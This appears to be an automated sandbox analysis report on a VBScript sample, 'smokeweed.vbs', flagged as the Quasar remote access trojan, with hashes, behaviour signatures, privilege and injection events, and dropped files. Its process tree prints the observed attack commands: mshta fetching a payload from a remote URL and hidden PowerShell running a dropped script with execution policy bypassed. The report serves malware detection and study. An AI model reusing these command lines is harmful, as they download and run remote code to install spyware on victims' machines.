quasar | 78a881cbc86ce0458d8db0eae0c92a8e016537796ef3ab7928037f4a51d4ca2f

General

Target

smokeweed.vbs
Size

3KB
MD5

07b8be238ea7e4d28ab60dd6c485f663
SHA1

73c2226a8592f0a729a837013d40e5b55ecb4415
SHA256

78a881cbc86ce0458d8db0eae0c92a8e016537796ef3ab7928037f4a51d4ca2f
SHA512

9d1bcf4a17c4b7986e2fec74f0d4ba020ea2e4933ff9cad19a639d87f0998a32439a227bcd55bf37d08886276a11ede28f06a60af12b6a368b5cdbd2544cf7a0

Score

10^/10

quasar spyware trojan

Malware Config

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

10 3864 mshta.exe
12 3864 mshta.exe
15 3864 mshta.exe
18 3892 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

23 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3892 set thread context of 784 3892 powershell.exe jsc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

3940 powershell.exe
3940 powershell.exe
3940 powershell.exe
3892 powershell.exe
3892 powershell.exe
3892 powershell.exe

flow	pid	process
10	3864	mshta.exe
12	3864	mshta.exe
15	3864	mshta.exe
18	3892	powershell.exe

flow	ioc
23	ip-api.com

description	pid	process	target process
PID 3892 set thread context of 784	3892	powershell.exe	jsc.exe

pid	process
3940	powershell.exe
3940	powershell.exe
3940	powershell.exe
3892	powershell.exe
3892	powershell.exe
3892	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

powershell.exepowershell.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeIncreaseQuotaPrivilege	3892	powershell.exe
Token: SeSecurityPrivilege	3892	powershell.exe
Token: SeTakeOwnershipPrivilege	3892	powershell.exe
Token: SeLoadDriverPrivilege	3892	powershell.exe
Token: SeSystemProfilePrivilege	3892	powershell.exe
Token: SeSystemtimePrivilege	3892	powershell.exe
Token: SeProfSingleProcessPrivilege	3892	powershell.exe
Token: SeIncBasePriorityPrivilege	3892	powershell.exe
Token: SeCreatePagefilePrivilege	3892	powershell.exe
Token: SeBackupPrivilege	3892	powershell.exe
Token: SeRestorePrivilege	3892	powershell.exe
Token: SeShutdownPrivilege	3892	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeSystemEnvironmentPrivilege	3892	powershell.exe
Token: SeRemoteShutdownPrivilege	3892	powershell.exe
Token: SeUndockPrivilege	3892	powershell.exe
Token: SeManageVolumePrivilege	3892	powershell.exe
Token: 33	3892	powershell.exe
Token: 34	3892	powershell.exe
Token: 35	3892	powershell.exe
Token: 36	3892	powershell.exe
Token: SeDebugPrivilege	784	jsc.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exeWScript.exemshta.exepowershell.exe

description	pid	process	target process
PID 3248 wrote to memory of 2160	3248	WScript.exe	WScript.exe
PID 3248 wrote to memory of 2160	3248	WScript.exe	WScript.exe
PID 2160 wrote to memory of 3864	2160	WScript.exe	mshta.exe
PID 2160 wrote to memory of 3864	2160	WScript.exe	mshta.exe
PID 3864 wrote to memory of 3940	3864	mshta.exe	powershell.exe
PID 3864 wrote to memory of 3940	3864	mshta.exe	powershell.exe
PID 2160 wrote to memory of 3892	2160	WScript.exe	powershell.exe
PID 2160 wrote to memory of 3892	2160	WScript.exe	powershell.exe
PID 3892 wrote to memory of 784	3892	powershell.exe	jsc.exe
PID 3892 wrote to memory of 784	3892	powershell.exe	jsc.exe
PID 3892 wrote to memory of 784	3892	powershell.exe	jsc.exe
PID 3892 wrote to memory of 784	3892	powershell.exe	jsc.exe
PID 3892 wrote to memory of 784	3892	powershell.exe	jsc.exe
PID 3892 wrote to memory of 784	3892	powershell.exe	jsc.exe
PID 3892 wrote to memory of 784	3892	powershell.exe	jsc.exe
PID 3892 wrote to memory of 784	3892	powershell.exe	jsc.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\smokeweed.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3248

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\smokeweed.vbs" /elevate
2⤵
- Suspicious use of WriteProcessMemory
PID:2160

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://z.zz.ht/bBtXS.txt
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -command C:\Users\Public\Datax.ps1;
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3892

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:784

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
MD5
2143b379fed61ab5450bab1a751798ce

SHA1
32f5b4e8d1387688ee5dec6b3cc6fd27b454f19e

SHA256
a2c739624812ada0913f2fbfe13228e7e42a20efdcb6d5c4e111964f9b620f81

SHA512
0bc39e3b666fdad76bcf4fe7e7729c9e8441aa2808173efc8030ce07c753cb5f7e25d81dd8ec75e7a5b6324b7504ff461e470023551976a2a6a415d6a4859bfa

Download Submit
C:\Users\Public\Datax.ps1
MD5
c85a52e535d54935f25bc43e8b393b1a

SHA1
963baebff776005de53b5c68608c5c5205400b50

SHA256
0545f59b84c4323711d72e396797694068bd7a56695aea0cdd90352a4a0c7753

SHA512
729398ee2dbb41b6f38c106dd3a75fbb695f700b009e6f5267f4242588764a5b3b407b7e2fbb17f9fd4cfc8684e04c39c2e68b6b400de750c2c2c4967d49f184

Download Submit
memory/784-30-0x0000000004F50000-0x0000000004F51000-memory.dmp

Filesize
4KB

Download
memory/784-34-0x00000000066F0000-0x00000000066F1000-memory.dmp

Filesize
4KB

Download
memory/784-32-0x0000000005FB0000-0x0000000005FB1000-memory.dmp

Filesize
4KB

Download
memory/784-31-0x0000000005AA0000-0x0000000005AA1000-memory.dmp

Filesize
4KB

Download
memory/784-29-0x0000000004DA0000-0x0000000004DA1000-memory.dmp

Filesize
4KB

Download
memory/784-28-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

Filesize
4KB

Download
memory/784-27-0x00000000051E0000-0x00000000051E1000-memory.dmp

Filesize
4KB

Download
memory/784-24-0x00000000738E0000-0x0000000073FCE000-memory.dmp

Filesize
6.9MB

Download
memory/784-23-0x000000000045819E-mapping.dmp

Download
memory/784-22-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2160-2-0x0000000000000000-mapping.dmp

Download
memory/3864-3-0x0000000000000000-mapping.dmp

Download
memory/3892-19-0x0000020BF1FE6000-0x0000020BF1FE8000-memory.dmp

Filesize
8KB

Download
memory/3892-20-0x0000020BF1FE8000-0x0000020BF1FEA000-memory.dmp

Filesize
8KB

Download
memory/3892-21-0x0000020BF2AC0000-0x0000020BF2AC6000-memory.dmp

Filesize
24KB

Download
memory/3892-15-0x0000020BF1FE3000-0x0000020BF1FE5000-memory.dmp

Filesize
8KB

Download
memory/3892-14-0x0000020BF1FE0000-0x0000020BF1FE2000-memory.dmp

Filesize
8KB

Download
memory/3892-12-0x00007FF81D5B0000-0x00007FF81DF9C000-memory.dmp

Filesize
9.9MB

Download
memory/3892-11-0x0000000000000000-mapping.dmp

Download
memory/3940-10-0x000001E2FB463000-0x000001E2FB465000-memory.dmp

Filesize
8KB

Download
memory/3940-9-0x000001E2FB460000-0x000001E2FB462000-memory.dmp

Filesize
8KB

Download
memory/3940-8-0x000001E2FC390000-0x000001E2FC391000-memory.dmp

Filesize
4KB

Download
memory/3940-7-0x000001E2FBF40000-0x000001E2FBF41000-memory.dmp

Filesize
4KB

Download
memory/3940-6-0x000001E2FB3D0000-0x000001E2FB3D1000-memory.dmp

Filesize
4KB

Download
memory/3940-5-0x00007FF81D5B0000-0x00007FF81DF9C000-memory.dmp

Filesize
9.9MB

Download
memory/3940-4-0x0000000000000000-mapping.dmp

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Analysis

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